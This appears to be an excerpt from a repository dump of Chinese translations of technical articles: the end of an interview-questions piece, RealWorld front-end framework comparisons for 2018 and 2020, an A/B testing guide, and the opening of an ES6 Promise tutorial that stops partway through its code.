你在过去的项目里遇到的最大问题是什么？你最大的成就？\n\n这就回到第一个问题了 —— 答案可能因开发人员以及职位而异。初级开发人员会说他最大的问题是在一个复杂的过程中报错，但他可以征服它。寻找更高级职位的人将解释他如何优化应用程序性能，而带领团队的人会解释他如何通过结对编程提高速度。\n\n#### 如果你有无限的时间预算并让你解决/提升/改变你最后一个项目里的一项东西，你会选什么，以及为什么选它？\n\n而别的开放问题则要看你要在候选人身上寻找什么。他会尝试用 MobX 替换 Redux 吗？改进测试设置？写出更好的文档？\n\n### 对调表格和反馈\n\n现在是时候改变角色了。你可能已经对候选人的技能和成长潜力有了充分的了解。让他问些问题 —— 这不仅可以让他更多地了解公司和产品，他问的问题可能会给你一些关于他想要成长方向的指示。\n\n[Carl Vitullo](https://medium.com/@vcarl) 写过一些关于要问你的潜在雇主的问题的好文章，我会推荐给你 —— 准备好回答他们，除非因为保密协议或别的需要让你不能问某些特定问题：\n\n*   [入职和工作场所](https://medium.com/@vcarl/questions-to-ask-your-interviewer-82a26e67ce6c)\n*   [发展和紧急情况](https://medium.com/@vcarl/questions-to-ask-your-interviewer-development-and-emergencies-f7fbc4519e5b)\n*   [成长](https://medium.com/@vcarl/questions-to-ask-your-interviewer-growth-c88eed119ce2)\n\n#### 给予反馈\n\n如果候选人在某些问题上表现不佳或者回答错误（或者与你预期不同）—— 这时你可能希望澄清这些问题。不要让它听起来像是在青睐此人，只要解释你注意到的问题 —— 提供解决方案和一些他可以用来改善自己的资源。\n\n如果招聘过程的其余部分取决于您，请告诉他们您将在 X 天内回复他们，如果没有，请告诉他们你们公司的某个人会这样做。如果您知道该过程需要超过 2-3 天，请告诉他们。现在 IT 是一个很大的市场，候选人可能已经进行了多次面试 —— 他可能会接受另一个 offer 而不会等你的反馈。\n\n**不要轻视候选人 —— 这其实是人们在社交媒体上经常抱怨的。**\n\n> 本篇文章中表达的是我自己的观点，不能代表我过去或现任雇主，客户或合作者的意见。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-real-world-comparison-of-front-end-frameworks-with-benchmarks-2018-update.md",
    "content": "> * 原文地址：[A Real-World Comparison of Front-End Frameworks with Benchmarks (2018 update)](https://medium.freecodecamp.org/a-real-world-comparison-of-front-end-frameworks-with-benchmarks-2018-update-e5760fb4a962)\n> * 原文作者：[Jacek Schae](https://medium.freecodecamp.org/@jacekschae?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-real-world-comparison-of-front-end-frameworks-with-benchmarks-2018-update.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-real-world-comparison-of-front-end-frameworks-with-benchmarks-2018-update.md)\n> * 译者：[geniusq1981](https://github.com/geniusq1981)\n> * 校对者：[Hopsken ](https://github.com/Hopsken)、[zephyrJS](https://github.com/zephyrJS)\n\n# 前端开发框架的实战对比（2018 年更新）\n\n![](https://cdn-images-1.medium.com/max/1000/1*0aM-p4OCCxRMXroYn0qPVA.png)\n\n本文是对 2017 年 12 月发表的 [前端开发框架的实战对比](https://medium.freecodecamp.org/a-real-world-comparison-of-front-end-frameworks-with-benchmarks-e1cb62fd526c) 一文的更新。\n\n在对比中，我们将展示不同框架之间去实现几乎相同的 [实战示例应用](https://github.com/gothinkster/realworld) 有怎样的差别。\n\n[实战示例应用](https://github.com/gothinkster/realworld) 为我们提供了：\n\n1. **实战应用**——不只是一个 \"todo\" 应用。一般来说，\"todo\" 应用无法充分的传达构建一个真实应用所需要的知识和观点。\n2. **标准化**——符合一定开发指南的项目。提供后端 API，静态标记，样式和规格。\n3. **由专家撰写或审核**——一个实战项目，理想情况下，由技术专家创建或审核。\n\n#### 上一版本的不足（2017 年 12 月）\n\n✅ Angular 没有用于生产环境。之前实战应用仓库列出的示例应用使用的是一个开发版本，感谢 [Jonathan Faircloth](https://medium.com/@jafaircl)，它现在已经是生产版本！\n\n✅ Vue 没有包含在实战应用仓库，因此未包括在对比中。正如你可以想象的那样，Vue 在前端引起了很大的热度。怎么可以不考虑 Vue 呢？你到底是怎么想的？这一次我们加入了Vue.js！谢谢 [Emmanuel Vilsbol](https://medium.com/@evilsbol)。\n\n#### 我们比较哪些库/框架？\n\n和 2017 年 12 月的文章一样，我们包含了实战应用仓库中列出的所有实现方式。不管它有没有大量的拥趸，唯一标准就是它出现在 [实战应用仓库](https://github.com/gothinkster/realworld) 页面上。\n\n![](https://cdn-images-1.medium.com/max/1000/1*IJ4a_VfY1Qn3yJaIy7pjVw.png)\n\n前往 [https://github.com/gothinkster/realworld](https://github.com/gothinkster/realworld) （2018 年 4 月）\n\n### 我们看什么指标？\n\n1.  **性能：** 应用需要多长时间能显示出页面内容并可用？\n2.  **大小：** 应用程序多大？我们只会比较已编译过的 JavaScript 文件大小。 CSS 对于所有不同实现框架都是通用的，并且从 CDN (内容分发网络)下载。 HTML 也是通用的。所有技术都编译或转换成 JavaScript，因此我们只计算这些文件的大小。\n3.  **代码行数：** 开发者根据开发指南需要写多少行代码来做一个实战应用？为了公平，虽然有些应用程序有一些花里胡哨的东西，但它不应该对结果产生影响。所以我们唯一量化的目录只用每个 app 中的 src/ 目录。\n\n### 指标 ＃1：**性能**\n\n使用 Chrome 自带的 [Lighthouse Audit](https://developers.google.com/) 工具进行 [首次有效绘制](https://developers.google.com/web/tools/lighthouse/audits/first-meaningful-paint) 的测试。\n\n绘制速度越快，应用的使用体验就越好。Lighthouse 也测试 [First interactive](https://developers.google.com/web/tools/lighthouse/audits/first-interactive) ，但对于大多数应用来说，这几乎是相同的，而它还处于测试阶段。\n\n![](https://cdn-images-1.medium.com/max/1000/1*El9cBVFHxRG36XD8KNjA_g.png)\n\n首次有效绘制（毫秒）——越低越好\n\n在性能方面你可能不会看到很多差异。\n\n### 指标 ＃2：大小\n\n传输大小来自 Chrome 的网络标签，包含从服务器传送的压缩的响应头和响应正文。\n\n文件越小，下载速度越快(并且需要解析的数据也越少)。\n\n这取决于你的框架以及你添加的依赖库的大小，还有你的编译工具的好坏也有一定影响。\n\n![](https://cdn-images-1.medium.com/max/1000/1*xHuwMctzoT6aA3BE4zXA5w.png)\n\n传输大小（KB）——越低越好\n\n您可以看到 Svelte，Dojo 2 和 AppRun 做得非常好。我不能说 Elm 也表现足够好——特别是当你看下一张图时。我也想看看 [Hyperapp](https://hyperapp.js.org/) 的表现。可能下次吧，[Jorge Bucaran](https://medium.com/@jorgebucaran) ？\n\n### 指标 ＃3：代码行数\n\n通过 [cloc](https://github.com/AlDanial/cloc) 我们计算每个仓库的 src 文件夹中的代码行。空白和注释行不会包含在内。这样做的意义何在？\n\n>如果调试是删除软件错误的过程，那么编程就是引入错误的过程 — Edsger Dijkstra\n\n![](https://cdn-images-1.medium.com/max/1000/1*YTfk05JBtqNBIoK_4u2H3g.png)\n\n# 代码行数——越少越好\n\n您拥有的代码行数越少，那么出现错误的概率就越小，而且你也只需要维护较小的代码库。\n\n### 结论\n\n我想说，非常感谢 [Eric Simons](https://medium.com/@er) 创建了 [实战示例应用](https://github.com/gothinkster/realworld) ，还有大量的提供不同实现的贡献者们。\n\n**更新:** 感谢 [Jonathan Faircloth](https://medium.com/@jafaircl) 提供生产版本的 Angular。\n\n> 如果你对这篇文章感兴趣，你可以在 [Twitter](https://twitter.com/jacekschae) 和 Medium 上加我。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-realworld-comparison-of-front-end-frameworks-2020.md",
    "content": "> - 原文地址：[A RealWorld Comparison of Front-End Frameworks 2020](https://medium.com/dailyjs/a-realworld-comparison-of-front-end-frameworks-2020-4e50655fe4c1)\n> - 原文作者：[Jacek Schae](https://medium.com/@jacekschae)\n> - 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> - 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-realworld-comparison-of-front-end-frameworks-2020.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-realworld-comparison-of-front-end-frameworks-2020.md)\n> - 译者：[snowyYU](https://github.com/snowyYU)\n> - 校对者：[Baddyo](https://github.com/Baddyo)、[IAMSHENSH](https://github.com/IAMSHENSH)\n\n# 2020 年用各大前端框架构建的 RealWorld 应用对比\n\n![](https://cdn-images-1.medium.com/max/8556/1*EM48X61Wygrlqq1BR0kU6Q.png)\n\n来了来了，本篇写于 2020 年，往年的版本请看这里：[2019](https://medium.com/free-code-camp/a-realworld-comparison-of-front-end-frameworks-with-benchmarks-2019-update-4be0d3c78075)、[2018](https://medium.com/free-code-camp/a-real-world-comparison-of-front-end-frameworks-with-benchmarks-2018-update-e5760fb4a962) 和 [2017](https://medium.com/free-code-camp/a-real-world-comparison-of-front-end-frameworks-with-benchmarks-e1cb62fd526c)。\n\n**首先，请务必明白 —— 本篇不是告诉你应该选择哪种作为你未来的前端框架，在此只简短浅显的对比三个方面：各 RealWorld 应用的性能，大小、代码行数。**\n\n请记住哦，好了，让我们开始吧：\n\n**我们对比 RealWorld 应用** —— 相较“to do”类型的应用，它的功能更加强大。通常来说，“to-dos”并不能说明各框架在实际应用中的表现情况。\n\n**项目有一定的规范** —— 一个符合特定规则的项目 —— [相关规范在此](https://github.com/gothinkster/realworld/tree/master/spec)。提供了后端 API，静态 html 模版和样式。\n\n**项目的构建和检查都是由相关技术的大牛完成的** —— 一般来说，相关框架的技术大牛会构建并检查自己 real-world 项目，确保其和别的项目的一致性。\n\n## 我们正在比较哪些库 / 框架？\n\n截至撰写本文时，[RealWorld 仓库](https://github.com/gothinkster/realworld) 中已有 24 个相关实现。也许有受众更多的框架没有出现在这里。但进行对比的前提只有一个 —— 它必须出现在 [RealWorld 仓库](https://github.com/gothinkster/realworld) 页面里。\n\n![](https://cdn-images-1.medium.com/max/5892/1*hztR7Zs5pFMvAaaqnGGBAA.png)\n\n## 我们关注什么指标？\n\n**性能** —— 此应用需要多长时间才能显示内容并变得可用。\n\n**大小** —— 应用有多大的体积？我们只会比较编译后的 JavaScript 文件大小。HTML 和 CSS 对所有的 RealWorld 应用都是通用的，并且都可从 CDN 下载。此外，所有技术均可编译或转换为 JavaScript，综上，我们只比较编译后的 JavaScript 文件大小。\n\n**代码行数** —— 开发者需要多少行代码才能根据规范创建 RealWorld 应用？公平来说，有些应用有更多的功能，但这应该没啥大的影响。我们只看 `src/` 文件夹中各文件的代码行数。即使它是自动生成的也可以 —— 你仍需要持续维护它。\n\n---\n\n## 指标 #1：性能\n\n我们使用 Chrome 的拓展插件 [Lighthouse Audit](https://developers.google.com/web/tools/lighthouse/) 来给各个项目的性能评分。Lighthouse 会给出一个范围在 0 到 100 的分数。0 是最低分。想了解更多，请戳 [Lighthouse 评分指南](https://developers.google.com/web/tools/lighthouse/v3/scoring)。\n\n#### 插件相关的配置\n\n![适用所有测试应用的 Lighthouse Audit 设置](https://cdn-images-1.medium.com/max/5440/1*0B_8wqM-vS597MOtGaDWvQ.png)\n\n#### 基本原则\n\n渲染的越快，用户就能越早地使用该应用，同样，用户的体验就越好。\n\n![性能（分数 0–100）—— 分数越高越好。](https://cdn-images-1.medium.com/max/11192/1*-adYkKBH0YgvRYPp2gbs5Q.png)\n\n#### 备注\n\n**注意：由于缺少 demo 应用，这里忽略 PureScript。**\n\n#### 总结\n\nLighthouse Audit 可没闲着。您可以看到未维护/未更新的应用程序跌破了 90 分。得分超过 90 分的应用在性能上差别不大。不得不说，AppRun、Elm 和 Svelte 表现的非常出色。\n\n---\n\n## 指标 #2：大小\n\n需要加载的资源的大小可以从 Chrome 中开发者工具的 Network 标签中得出。服务器提供的 GZIP 响应头和响应主体。\n\n这取决于框架的大小以及所添加的其他依赖包。同样，构建合适的打包工具可以忽略未使用的依赖。\n\n#### 基本原则\n\n文件越小，下载速度越快，并且需要解析的内容越少。\n\n![加载资源的大小以 KB 为单位计算 —— 越小越好](https://cdn-images-1.medium.com/max/11176/1*6HK361f-UDqNpWuTA68jHw.png)\n\n#### 备注\n\n**注意：由于缺少 demo 应用，这里再次忽略 PureScript。**\n\n**Angular + ngrx + nx 方案的支持者可别打我哟 —— 看一下 Chrome 开发者工具中的 Network 标签里的加载情况，如果我算错了 — 还请告知。**\n\n**Rust + Yew + WebAssembly 方案的大小计算，包括了以 .wasm 结尾的文件。**\n\n#### 总结\n\nSvelte 和 Stencil 社区完成的 RealWorld 应用太棒了，把需要加载的文件控制在了 20KB 以内，可以说是前无古人了。\n\n---\n\n## 指标 #3：代码行数\n\n我们使用 [cloc](https://github.com/AlDanial/cloc) 计算每个库的 src 文件夹中的代码行数。**不包含**空白行和注释。考量这个指标的意义何在呢？\n\n> **如果说调试是消灭 bug 的过程, 那么编码则是产生它的过程 —— Edsger Dijkstra**\n\n#### 基本原则\n\n下面这张图展示了各个库/框架/语言实现的 RealWorld 应用的简洁程度。根据规范，他们各自写了多少行实现了几乎相同的应用程序（其中一些应用具有更多的功能）。\n\n![# 代码行数 — 越少越好](https://cdn-images-1.medium.com/max/8752/1*RLnW6UBEFki9D_AjpDqb6g.png)\n\n#### 备注\n\n**由于 [cloc](https://github.com/AlDanial/cloc) 无法统计以 `.svelte` 为后缀的文件，因此 Svelte 在此不做对比。**\n\n**由于 [cloc](https://github.com/AlDanial/cloc) 无法统计以 `.riot` 为后缀文件，因此 riotjs-effector-universal-hot 在此也不做对比。**\n\n**Angular + ngrx: 以`/libs`文件夹为基础完成的代码行数统计仅包括以 `.ts` 和 `.html` 为后缀文件。如果你觉得不应该这样统计, 还望告知正确的代码行数以及你是如何统计它的。**\n\n#### 总结\n\n只有 Imba 和 [ClojureScript + re-frame](https://www.learnreframe.com/) 能在 1000 行代码以内实现 RealWorld 应用。Clojure 以独特的表现力而著称。Imba 第一次出现在这里（去年是因为 cloc 还不能识别以 .imba 为后缀的文件），看起来之后会一直出现在这里。如果你关心自己项目的代码行数，那么你现在知道该怎么做啦。\n\n---\n\n## 最后\n\n请记住，这并不是一个公平、合理的比较。有些在应用的实现上使用了代码拆分，有些则没有。其中有些托管在 GitHub 上，有些托管在 Now 上，有些托管在 Netlify 上。你是否仍然想知道哪一个最好？这我可回答不了。\n\n---\n\n## 常见问题\n\n#### #1 为什么在本篇对比中不包含框架 X，Y 和 Z 呢？\n\n因为以该框架为基础构建的 RealWorld 应用尚未在 [RealWorld 仓库](https://github.com/gothinkster/realworld)上出现或按照规范构建完成。考虑做出你的贡献吧！选择你喜欢的库/框架然后来构建 RealWorld 应用吧，我们下次对比将包括它！\n\n#### #2 为什么你们称其为 real world？\n\n因为它不只是一个 To-Do 应用程序。通过 RealWorld 应用，我们并不是要比较相关技术能拿到的薪水，可维护性，生产力，学习曲线等方面。这有[其他调查](https://insights.stackoverflow.com/survey/2018/)回答了其中一些问题。我们所说的 RealWorld 是指连接到服务器，进行身份验证并允许用户进行 CRUD 操作的应用程序 —— 就像现实世界中的应用程序一样。\n\n#### #3 你为什么不比较我最喜欢的框架？\n\n请参见问题 1，但以防万一，这里还是想强调下：因为以该框架为基础构建的 RealWorld 应用尚未在 [RealWorld 仓库](https://github.com/gothinkster/realworld)上出现或按照规范构建完成。以上所有的 Real World 应用又不是我自己搞出来的-这是整个社区的努力结晶。如果你想在下次对比中看到你喜欢的框架，请考虑为本项目做出贡献吧。\n\n#### #4 包括了哪个版本的库/框架？\n\n所涉及的库/框架在撰写本文时（2020 年 3 月）均可用。该信息来自 [RealWorld 仓库](https://github.com/gothinkster/realworld)。我确定你可以在 [GitHub 仓库](https://github.com/gothinkster/realworld) 中找到相关信息。\n\n#### #5 有比本文中出现的更流行的框架，你怎么忘记比较啦？\n\n同样，请参阅问题 1 和问题 3。以该框架为基础构建的 RealWorld 应用尚未在 [RealWorld 仓库](https://github.com/gothinkster/realworld) 上出现或按照规范构建完成；原因就是这么简单。\n\n> 如果你喜欢这篇文章，请 [在Twitter上关注我](https://twitter.com/JacekSchae)。我只写/推有关编程和技术的文章。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-simple-guide-to-a-b-testing-for-data-science.md",
    "content": "> * 原文地址：[A Simple Guide to A/B Testing for Data Science](https://towardsdatascience.com/a-simple-guide-to-a-b-testing-for-data-science-73d08bdd0076)\n> * 原文作者：[Terence Shin](https://medium.com/@terenceshin)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-simple-guide-to-a-b-testing-for-data-science.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-simple-guide-to-a-b-testing-for-data-science.md)\n> * 译者：[Amberlin1970](https://github.com/Amberlin1970)\n> * 校对者：[Jiangzhiqi4551](https://github.com/Jiangzhiqi4551)，[PingHGao](https://github.com/PingHGao)\n\n# 一份数据科学 A/B 测试的简单指南\n\n> 数据科学家最重要的统计方法之一\n\n![Picture created by myself, Terence Shin, and Freepik](https://cdn-images-1.medium.com/max/2000/0*KS_jfZBdZ9DxAvEz.png)\n\nA/B 测试是数据科学和科技界中最重要的概念之一，因为它是确定任意一个假设可能得出的结论最有效的方法之一。理解 A/B 测试并知道它的工作原理十分重要。\n\n## 什么是 A/B 测试？\n\n最简单的说法是，A/B 测试是基于一个给定的标准，判断实验中的两个变量哪一个的表现更好的实验。典型地，两个消费群体面对同一样东西的两个不同版本时，根据谈话、点击率又或是转化率这样的标准判断两个版本之间是否有很大的差异。\n\n以上图为例，我们可以随机地将消费者分成两组，一个控制组和一个变量组。然后，我们可以给变量组展示一个红色的网站横幅，再观察网站的转化率是否会得到大幅提升。必须注意的是，在进行 A/B 测试时，所有其他的变量是保持不变的。\n\n从更专业的角度讲，A/B 测试是一种统计和双样本假设检验的形式。**统计假设检验**是用于一个样本数据集和总体数据进行比较的一种方法。**双样本假设检验**是决定两个样本之间的差异是否具有统计意义的一种方法。\n\n## 为什么一定要了解？\n\n了解 A/B 测试是什么以及它如何工作是很重要的，因为它是量化产品变化或者市场策略变化时最好的方法。而这在由数据驱动的世界里变得日益重要，因为商业决策需要以事实和数字为依据。\n\n## 怎样进行一个标准的 A/B 测试？\n\n#### 1.提出你的假设\n\n在进行一个 A/B 测试之前，你会提出你的零假设和备择假设：\n\n**零假设**是指样本观察的结果完全出自偶然的假设。从 A/B 测试的角度讲，零假设是指控制组和对照组之间**无**差异。\n**备择假设**是指样本观察被一些非随机的因素影响的假设。 从 A/B 测试的角度讲 ，备择假设是指控制组和变量组之间**有**差异。\n\n在提出你的零假设和备择假设时，建议遵循 PICOT 格式。Picot 代表：\n\n- 对象（**P**opulation）：参与实验的人群\n- 干预（**I**ntervention）：指代研究中的新变量\n- 对照（**C**omparison）：指代你计划用于和你的干预进行比较的参考组\n- 结果（**O**utcome）：代表你预期的结果\n- 时间（**T**ime）：指代整个实验的持续时间（何时开始收集数据及收集数据所花费的时长）\n\n例子：“相较于对照组，干预 A 将会改善临床焦虑水平在 3 个月的癌症患者的焦虑水平（以 HADS 焦虑分量表标准的平均变化来衡量）。”\n\n它（这个例子）符合 PICOT 的标准吗？\n\n* 对象：有临床焦虑的癌症患者\n* 干预：干预 A\n* 对照：对照干预\n* 结果：以 HADS 焦虑分量表标准的平均变化来衡量是改善了焦虑\n* 时间：与对照干预组进行3个月比较\n\n确实如此 —— 因此，这是一个强假设检验的例子。\n\n#### 2.创建你的对照组和测试组\n\n一旦确定了你的零假设和备择假设，下一步就是创建你的对照和测试（变量）组。在这一歩中有两个重要的概念需要考虑，随机采样和样本的大小。\n\n**随机采样**\n随机采样是指对象中的每个样本都有相等的选中概率的一种技术。随机采样在假设检验时很重要，因为它消除了抽样偏差。**消除偏差是很必要的，因为你希望你的 A/B 测试的结果能够代表整个研究对象而不仅是样本自身。**\n\n**样本大小**\n在进行 A/B 测试之前，必须要先设定好你的 A/B 测试的最小样本大小，才能消除由于太少样本而产生的**覆盖偏差**。有大量的[在线计算器](https://www.optimizely.com/sample-size-calculator/) 可以计算给定三个输入时的样本大小，如果你有兴趣了解这背后的数学原理请点击这个[链接]( https://online.stat.psu.edu/stat414/node/306/)！\n\n#### 3.进行测试，对比结果，是否丢弃零假设\n\n![](https://cdn-images-1.medium.com/max/2000/0*KIie8p4lPGVXfCgZ.png)\n\n在你进行实验并且收集了你的数据后，你就要确定你的控制组和变量组之间的差异是否是统计显著的。如下几步可用于确定：\n\n* 首先，你需要设定你的 **α** 值，出现 1 类错误的概率。通常 α 的值设定为 5% 或 0.05 。\n* 其次，你需要利用上面的公式计算 t-统计量进而得出概率值（p 值）。\n* 最后，对比 p 值和 α 。如果 p 值大于 α ，不丢弃空假设！\n\n**如果上述内容对你没有意义，我将会花时间从[这里](https://www.khanacademy.org/math/statistics-probability/significance-tests-one-sample/idea-of-significance-tests/v/simple-hypothesis-testing)学习更多假设检验的知识！**\n\n## 谢谢阅读！\n\n如果你喜欢我的文章并且想支持我，请注册我的邮箱列表[这里](https://terenceshin.typeform.com/to/fe0gYe)！\n\n## 参考\n\n[**A/B 测试**](https://en.wikipedia.org/wiki/A/B_testing) \n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-simple-guide-to-es6-promises.md",
    "content": "> * 原文地址：[A Simple Guide to ES6 Promises](https://codeburst.io/a-simple-guide-to-es6-promises-d71bacd2e13a)\n> * 原文作者：[Brandon Morelli](https://codeburst.io/@bmorelli25?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-simple-guide-to-es6-promises.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-simple-guide-to-es6-promises.md)\n> * 译者：[熟鱼](https://github.com/sophiayang1997)\n> * 校对者：[kezhenxu94](https://github.com/kezhenxu94/) [zhmhhu](https://github.com/zhmhhu)\n\n# 一个简单的 ES6 Promise 指南\n\n> The woods are lovely, dark and deep. But I have promises to keep, and miles to go before I sleep. — Robert Frost\n\n![](https://cdn-images-1.medium.com/max/1000/1*WlQlce8AlSpq2VnQNO9UfQ.jpeg)\n\nPromise 是 JavaScript ES6 中最令人兴奋的新增功能之一。为了支持异步编程，JavaScript 使用了回调（callbacks），[以及一些其他的技术](http://exploringjs.com/es6/ch_async.html#sec_receiving-results-asynchronously)。然而，使用回调会遇到[地狱回调](http://callbackhell.com/)/[末日金字塔](https://en.wikipedia.org/wiki/Pyramid_of_doom_%28programming%29)等问题。Promise 是一种通过使代码看起来同步并避免在回调时出现问题进而大大简化异步编程的模式。\n\n在这篇文章中，我们将看到什么是 Promise，以及如何利用它给我们带来好处。\n\n* [**2018 年 Web 开发者路线图**：一个提供给前端或后端开发人员的插图指南（内部提供课程链接）](https://codeburst.io/the-2018-web-developer-roadmap-826b1b806e8d)\n\n#### 什么是 Promise？\n\nECMA 委员会将 promise 定义为 ——\n\n> Promise 是一个对象，是一个用作延迟（也可能是异步）计算的最终结果的占位符。\n\n简单来说，**一个 promise 是一个装有未来值的容器**。如果你仔细想想，这正是你正常的日常谈话中使用**承诺**（promise）这个词的方式。比如，你预定一张去印度的机票，准备前往美丽的山岗站[大吉岭](https://en.wikipedia.org/wiki/Darjeeling)旅游。预订后，你会得到一张**机票**。这张**机票**是航空公司的一个**承诺**，意味着你在出发当天可以获得相应的座位。实质上，票证是未来值的占位符，即**座位**。\n\n这还有另外一个例子 —— 你向你的朋友**承诺**，会在看完[**计算机程序设计艺术**](https://en.wikipedia.org/wiki/The_Art_of_Computer_Programming)这本书后还给他们。在这里，你的话充当占位符。值就相当于这本书。\n\n你可以想想其他类似承诺（promise）的例子，这些例子涉及各种现实生活中的情况，例如在医生办公室等候，在餐厅点餐，在图书馆发放书籍等等。这些所有的情况都涉及某种形式的承诺（promise）。然而，例子只能告诉我们这么多，[Talk is cheap, so let’s see the code.](https://news.ycombinator.com/item?id=902216)。\n\n#### 创建 Promise\n\n当某个任务的完成时间不确定或太长时，我们可以创建一个 promise 。例如 —— 根据连接速度的不同，一个网络请求可能需要 10 ms 甚至需要 200 ms 这么久。我们不想等待这个数据获取的过程。对你而言，200 ms 可能看起来很少，但对于计算机来说是一段非常漫长的时间。promise 的目的就是让这种异步（asynchrony）变得简单而轻松。让我们一起来看看基础知识。\n\n使用 **Promise** 构造函数创建了一个新的 promise。像这样 —— \n\n```\nconst myPromise = new Promise((resolve, reject) => {\n    if (Math.random() * 100 <= 90) {\n        resolve('Hello, Promises!');\n    }\n    reject(new Error('In 10% of the cases, I fail. Miserably.'));\n});\n```\n\nPromise 示例\n\n观察这个构造函数就可以发现其接收一个带有两个参数的函数，这个函数被称为**执行器**函数，并且它**描述了需要完成的计算**。执行器函数的参数通常被称为 **resolve**  和 **reject**，分别标记执行器函数的成功和不成功的最终完成结果。\n\n`resolve` 和 `reject` 本身也是函数，它们用于将返回值返回给 promise 对象。当计算成功或未来值准备好时，我们使用 `resolve` 函数将值返回。**这时我们说这个 promise 已经被成功解决（resolve）了**。\n\n如果计算失败或遇到错误，我们通过在 `reject` 函数中传递错误对象告知 promise 对象。 **这时我们说这个 promise 已经被拒绝（reject）了**。`reject` 可以接收任何类型的值。但是，建议传递一个 `Error` 对象，因为它可以通过查看堆栈跟踪来帮助调试。\n\n在上面的例子中，`Math.random()` 用于生成一个随机数。有 90% 概率，这个 promise 会被成功解决（假设概率均匀分布）。其余的情况则会被拒绝。\n\n#### 使用 Promise\n\n在上面的例子中，我们创建了一个 promise 并将其存储在 `myPromise` 中。**那我们如何才能获取通过** `resolve` **或** `reject` **函数传递过来的值呢**？所有的 `Promise` 都有一个 `.then()` 方法。这样问题就好解决了，让我们一起来看一下 ——\n\n```\nconst myPromise = new Promise((resolve, reject) => {\n    if (Math.random() * 100 < 90) {\n        console.log('resolving the promise ...');\n        resolve('Hello, Promises!');\n    }\n    reject(new Error('In 10% of the 